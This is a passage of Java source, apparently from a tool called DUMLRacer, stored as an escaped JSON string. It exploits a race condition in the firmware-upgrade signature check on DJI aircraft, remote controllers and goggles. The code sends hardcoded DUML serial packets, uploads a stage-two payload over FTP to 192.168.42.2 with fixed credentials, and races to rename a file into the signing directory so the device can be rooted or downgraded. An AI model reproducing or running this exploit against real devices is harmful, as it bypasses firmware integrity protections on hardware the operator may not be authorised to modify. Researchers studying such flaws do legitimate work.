Thread.sleep(3000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n\n connect();\n\n try {\n Thread.sleep(2000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n\n System.out.println(\"You feel great, like you could race again!\");\n\n //Stage two\n System.out.println(\"Sending upgrade command\");\n write(getUpgradePacket());\n write(getReportPacket());\n\n System.out.println(\"Uploading payload 2\");\n uploadFile(classLoader.getResourceAsStream(\"resources/stage2.bin\"));\n\n try {\n Thread.sleep(3000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n\n write(getFileSizePacket(payload2.length));\n\n System.out.println(\"Exploiting\");\n write(getHashPacket(payload2));\n\n //First race\n System.out.println(\"Race 2 has started\");\n\n flag = false;\n while (!flag) {\n FTPFile[] files = ftpClient.listFiles(\"/upgrade/upgrade/signimgs\");\n\n for (FTPFile f : files) {\n if (f.toString().contains(\"dummy\")) {\n flag = true;\n break;\n }\n }\n }\n\n boolean winner = ftpClient.rename(\"/upgrade/upgrade/jcase\",\"/upgrade/upgrade/signimgs/jcase\");\n\n if (winner) {\n System.out.println(\"You are in the lead!\");\n } else {\n System.out.println(\"You fell down and skinned your knee, reboot the target and try again!\");\n activePort.closePort();\n ftpClient.disconnect();\n return;\n }\n\n flag = false;\n while (!flag) {\n FTPFile[] files = ftpClient.listFiles(\"/upgrade/upgrade/signimgs\");\n\n for (FTPFile f : files) {\n if (f.toString().contains(\"wellhello\")) {\n flag = true;\n break;\n }\n }\n }\n\n ftpClient.deleteFile(\"/upgrade/upgrade/signimgs/jcase\");\n\n\n winner = false;\n\n int timeout = 0;\n while (!winner) {\n FTPFile[] files = ftpClient.listFiles(\"/upgrade/upgrade/signimgs\");\n if (files.length == 0) {\n winner = true;\n break;\n }\n System.out.print(\".\");\n try {\n Thread.sleep(1000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n\n timeout +=1;\n\n if (timeout > 60) {\n System.out.println();\n System.out.println(\"Race timed out, unsure who won. Reboot and check\");\n System.out.println(\"Reboot the target device. and try using adb (for root) or downgrading.\");\n ftpClient.disconnect();\n activePort.closePort();\n return;\n }\n }\n\n System.out.println();\n System.out.println(\"Looks like you won!.\");\n System.out.println(\"Reboot the target device. and try using adb (for root) or downgrading.\");\n activePort.closePort();\n ftpClient.disconnect();\n\n }\n\n private static byte[] isToArray(InputStream is) throws IOException {\n\n ByteArrayOutputStream buffer = new ByteArrayOutputStream();\n\n int nRead;\n byte[] data = new byte[16384];\n\n while ((nRead = is.read(data, 0, data.length)) != -1) {\n buffer.write(data, 0, nRead);\n }\n\n buffer.flush();\n\n return buffer.toByteArray();\n }\n private static void write(byte[] packet) {\n activePort.writeBytes(packet,packet.length);\n try {\n Thread.sleep(5000);\n } catch (InterruptedException e) {\n e.printStackTrace();\n }\n }\n\n private static void connect () {\n if (activePort == null) {\n System.out.println(\"Couldn't find port, exiting\");\n return;\n }\n\n\n if (activePort.isOpen()) {\n System.out.println(activePort.getSystemPortName() + \" is already open\");\n activePort.closePort(); //meh why not\n return;\n }\n\n if (!activePort.openPort()) {\n System.out.println(\"Couldn't open port, exiting\");\n activePort.closePort(); //meh why not\n return;\n }\n\n activePort.setBaudRate(115200);\n }\n\n private static void printHelp() {\n System.out.println(\"java -jar DUMLRacer.jar \");\n System.out.println(\"Modes:\");\n System.out.println(\"AC - target AC\");\n System.out.println(\"RC - target RC\");\n System.out.println(\"GL - target GL\");\n }\n\n public static void uploadFile(InputStream payload) throws IOException {\n if (ftpClient == null) {\n ftpClient = new FTPClient();\n }\n\n if (!ftpClient.isConnected()) {\n ftpClient.connect(\"192.168.42.2\", 21);\n ftpClient.login(\"nouser\",\"nopass\");\n ftpClient.enterLocalPassiveMode();\n }\n\n ftpClient.setFileType(ftpClient.BINARY_FILE_TYPE);\n\n boolean done = ftpClient.storeFile(\"/upgrade/dji_system.bin\", payload);\n payload.close();\n if (!done) {\n System.out.println(\"Failed to upload payload.\");\n System.exit(-1);\n }\n }\n\n private static byte[] getFileSizePacket(int fileSize) {\n byte[] packet = new byte[] {0x55, 0x1A, 0x04, (byte)0xB1, 0x2A, 0x28, 0x6B, 0x57, 0x40, 0x00, 0x08, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04};\n\n if (isRC) {\n packet = new byte[] {0x55, 0x1A, 0x04, (byte)0xB1, 0x2A, 0x2D, (byte)0xEC, 0x27, 0x40, 0x00, 0x08, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04};\n }\n\n if (isGL) {\n packet = new byte[] {0x55, 0x1A, 0x04, (byte)0xB1, 0x2A, 0x3C, (byte)0xFD, 0x35, 0x40, 0x00, 0x08, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04};\n }\n\n byte[] size = ByteBuffer.allocate(4).putInt(fileSize).array();\n\n packet[12] = size[3];\n packet[13] = size[2];\n packet[14] = size[1];\n packet[15] = size[0];\n\n return CRC.pktCRC(packet);\n }\n\n private static byte[] getHashPacket(byte[] payload) {\n byte[] packet = new byte[] {0x55, 0x1E, 0x04, (byte)0x8A, 0x2A, 0x28, (byte)0xF6, 0x57, 0x40, 0x00, 0x0A, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};\n\n if (isRC) {\n packet = new byte[] {0x55, 0x1E, 0x04, (byte)0x8A, 0x2A, 0x2D, 0x02, 0x28, 0x40, 0x00, 0x0A, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};\n }\n\n if (isGL) {\n packet = new byte[] {0x55, 0x1E, 0x04, (byte)0x8A, 0x2A, 0x3C, 0x5B, 0x36, 0x40, 0x00, 0x0A, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};\n }\n\n byte[] md5 = payload;\n\n try {\n MessageDigest md = MessageDigest.getInstance(\"MD5\");\n md5 = md.digest(md5);\n } catch (NoSuchAlgorithmException e) {\n e.printStackTrace();\n }\n\n System.arraycopy(md5,0, packet, 12, 16);\n\n return CRC.pktCRC(packet);\n }\n\n private static byte[] getUpgradePacket() {\n\n byte[] packet = new byte[] {0x55, 0x16, 0x04, (byte)0xFC, 0x2A, 0x28, 0x65, 0x57, 0x40, 0x00, 0x07, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, (byte)0xD3};\n\n if (isRC) {\n packet = new byte[] {0x55, 0x16, 0x04, (byte)0xFC, 0x2A, 0x2D, (byte)0xE7, 0x27, 0x40, 0x00, 0x07, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, (byte)0x9F, 0x44};\n }\n\n if (isGL) {\n packet = new byte[] {0x55, 0x16, 0x04, (byte)0xFC, 0x2A, 0x3C, (byte)0xF7, 0x35, 0x40, 0x00, 0x07, 0x00, \n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x29};\n }\n\n return packet;\n }\n\n private static byte[] getReportPacket() {\n\n byte[] packet = new byte[] {0x55, 0x0E, 0x04, 0x66, 0x2A, 0x28, 0x68, 0x57, 0x40, 0x00, 0x0C, 0x00, (byte)0x88,\n 0x20};\n\n if (isRC) {\n packet = new byte[] {0x55, 0x0E, 0x04, 0x66, 0x2A, 0x2D, (byte)0xEA, 0x27, 0x40, 0x00, 0x0C, 0x00, 0x2C,\n (byte)0xC8};\n }\n\n if (isGL) {\n packet = new byte[] {0x55, 0x0E, 0x04, 0x66, 0x2A, 0x3C, (byte)0xFA, 0x35, 0x40, 0x00, 0x0C, 0x00, 0x48, 0x02};\n }\n\n return packet;\n }\n\n}\n\n"
}
]